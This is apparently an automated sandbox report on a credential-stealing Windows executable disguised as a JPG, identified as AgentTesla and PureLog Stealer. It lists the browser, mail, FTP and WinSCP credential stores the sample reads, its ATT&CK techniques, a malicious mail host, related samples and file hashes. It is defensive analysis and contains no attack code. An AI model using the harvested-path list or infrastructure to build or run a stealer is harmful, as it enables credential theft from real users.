Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.327cccc.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.325b06c.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.327bcb4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2022036675.0000000007BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2008266464.0000000003259000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2140, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3249220624.000000000302D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3249220624.0000000003035000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3249220624.0000000003004000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Rendeles_042024,jpg.scr.exe PID: 2140, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.327cccc.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.325b06c.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Rendeles_042024,jpg.scr.exe.327bcb4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2022036675.0000000007BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2008266464.0000000003259000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	42 Software Packing	NTDS	421 Security Software Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Rendeles_042024,jpg.scr.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
Rendeles_042024,jpg.scr.exe	50%	Virustotal		Browse
Rendeles_042024,jpg.scr.exe	100%	Avira	HEUR/AGEN.1306842
Rendeles_042024,jpg.scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
mail.woxi.cz	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://mail.woxi.cz	0%	Avira URL Cloud	safe
http://mail.woxi.cz	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false		high
ip-api.com	208.95.112.1	true	false		high
mail.woxi.cz	77.93.220.4	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.woxi.cz	Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.000000000302D000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://account.dyn.com/	Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp, Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	Rendeles_042024,jpg.scr.exe, 00000004.00000002.3249220624.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
77.93.220.4	mail.woxi.cz	Czech Republic	24971	MASTER-ASCzechRepublicwwwmasterczCZ	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1433163
Start date and time:	2024-04-29 10:17:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Rendeles_042024,jpg.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 119 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:17:49	API Interceptor	583694x Sleep call for process: Rendeles_042024,jpg.scr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	SecuriteInfo.com.Win32.RATX-gen.8126.4318.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	6m5xntHvKE.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	Y5FjBvytOL.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	ip-api.com/line/?fields=hosting
	PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	lGaZ58sYpVmY9rn.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	Request For Quotation RFQ1310.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Trojan.DownLoader46.60844.7642.4031.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Zuma Deluxe.exe	Get hash	malicious	Phemedrone Stealer	Browse	ip-api.com/json/?fields=11827
	immortal.bin.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/line/?fields=hosting
	l0xmdpqk.ylw.bin.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/line/?fields=hosting
104.26.13.205	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.woxi.cz	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	Zaplata,jpg.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	Zaplata,jpeg.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	77.93.220.4
	zaplata,jpeg.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	Zam#U00f3wienie.jpeg.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	SecuriteInfo.com.W32.MSIL_Kryptik.DWR.gen.Eldorado.31524.21566.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	SecuriteInfo.com.Win32.CrypterX-gen.29219.11140.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	SecuriteInfo.com.Trojan.MSIL.FormBook.AGCG.MTB.18730.19437.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	2ZR0z3TXvgQYz22.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	SecuriteInfo.com.Win32.PWSX-gen.5114.18399.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
ip-api.com	http://flow.page/pscu.com	Get hash	malicious	HTMLPhisher	Browse	38.128.66.209
	SecuriteInfo.com.Win32.RATX-gen.8126.4318.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	6m5xntHvKE.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	Y5FjBvytOL.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	208.95.112.1
	PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
	lGaZ58sYpVmY9rn.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Request For Quotation RFQ1310.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	SecuriteInfo.com.Trojan.DownLoader46.60844.7642.4031.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Zuma Deluxe.exe	Get hash	malicious	Phemedrone Stealer	Browse	208.95.112.1
	immortal.bin.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
api.ipify.org	SecuriteInfo.com.Win32.PWSX-gen.16177.2093.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	SecuriteInfo.com.Win32.RATX-gen.8126.4318.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	clik.exe	Get hash	malicious	CredGrabber, PureLog Stealer	Browse	172.67.74.152
	leadiadequatepro.exe	Get hash	malicious	CredGrabber, PureLog Stealer	Browse	172.67.74.152
	Order PS24S0040.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	New Order NO-19006022.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	lIoOSFYisn.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	SecuriteInfo.com.Trojan.DownLoader46.60844.7642.4031.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://worker-curly-silence-18d1.pistisarte.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	SecuriteInfo.com.Win64.Evo-gen.3508.11571.exe	Get hash	malicious	Luna Logger	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://flow.page/pscu.com	Get hash	malicious	HTMLPhisher	Browse	104.18.29.25
	SecuriteInfo.com.Win32.PWSX-gen.16177.2093.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://lien.ffepgv.fr/c?q=lbBPNtJyul4a3Zs_7togvh6AuGh0dHBzOi8vb3JkZXItcHVibGljLmNvbaxdSU5pmTK3FDRZQxysZih7F-SwUm7IbuaKrmxpZW4uZmZlcGd2LmZy	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.RATX-gen.8126.4318.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win32.TrojanX-gen.3413.25873.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	SecuriteInfo.com.Win64.Evo-gen.29020.27952.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	https://cloudsss-c367.iardainwkasn.workers.dev/	Get hash	malicious	Unknown	Browse	104.21.35.193
	https://s3.ap-southeast-1.amazonaws.com/8mybucket21233.ujko87.mybucket11233rfvdjdfjkd.mybucket1183.3/Wi0n0ertrf500mpAlert042/index.html	Get hash	malicious	TechSupportScam	Browse	104.22.24.131
	https://vbvfdvdjvv.fyfyvfytvghv.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.21.235.181
	Vqzx4PFehn.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.144.153
MASTER-ASCzechRepublicwwwmasterczCZ	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	77.93.220.4
	VkiGKeyI3L.elf	Get hash	malicious	Mirai	Browse	37.205.15.251
	k6AIKkidxG.exe	Get hash	malicious	DCRat	Browse	80.78.243.49
	h08xdwuTfW.elf	Get hash	malicious	Unknown	Browse	185.8.165.122
	TfpwQ763RO.elf	Get hash	malicious	Mirai, Moobot	Browse	185.8.165.146
	quhEKAdhFU.elf	Get hash	malicious	Mirai	Browse	81.31.42.18
	uR9GWkX25p.exe	Get hash	malicious	DCRat	Browse	80.78.243.170
	ZKI2FzCYEA.exe	Get hash	malicious	DCRat	Browse	80.78.243.170
	kzjTVVV3Y1.elf	Get hash	malicious	Mirai	Browse	80.79.25.106
	R62KHcte51.elf	Get hash	malicious	Mirai	Browse	81.31.42.30
TUT-ASUS	SecuriteInfo.com.Win32.RATX-gen.8126.4318.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	6m5xntHvKE.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	Y5FjBvytOL.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	208.95.112.1
	PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
	lGaZ58sYpVmY9rn.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Request For Quotation RFQ1310.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	SecuriteInfo.com.Trojan.DownLoader46.60844.7642.4031.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Zuma Deluxe.exe	Get hash	malicious	Phemedrone Stealer	Browse	208.95.112.1
	immortal.bin.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1
	l0xmdpqk.ylw.bin.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	HsbcBank_copy.hta	Get hash	malicious	FormBook, GuLoader	Browse	104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.16177.2093.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	SecuriteInfo.com.Win32.RATX-gen.8126.4318.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Vqzx4PFehn.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.26.13.205
	Order PS24S0040.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	FastExecuteScript.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	eqmq0pcp.yew(1).exe	Get hash	malicious	Xmrig	Browse	104.26.13.205
	Ro8zgGY3GZ.exe	Get hash	malicious	PureLog Stealer	Browse	104.26.13.205

Process:	C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9246958307344695
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Rendeles_042024,jpg.scr.exe
File size:	738'816 bytes
MD5:	f9a9054852e6529e9e3d8b392241601c
SHA1:	e96482de839c1fe063982ef64d6d930312054ea6
SHA256:	96c18fdcc302306d493535b0c90413892759a61925bcb3cf2f0d1a1cbbac554e
SHA512:	91349fbd232b4663e72f5b54398f5e751a4ba86cb436efd44a605976386d4944270ee50971349509108157f8e55742c4cb4709ef9e086db2146bfd0afefeaabf
SSDEEP:	12288:nTB778QduSfT7LaUuOuIgVuboparMfRVzZ9uc+VnP6GStXRl4UNmXP1dDhu1vMCg:TBLuA8OzgVub4arqVzZ9o3OXRlBNYP1X
TLSH:	F9F4F18C7658B2DFC55BC876DA586C60A62074BB534BD243A45325E8EE0EACBCF111F3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0..8...........W... ...`....@.. ....................................@................................

File Icon


Icon Hash:	0888742406740004

Static PE Info

General

Entrypoint:	0x4b57ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x662EEDD7 [Mon Apr 29 00:46:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
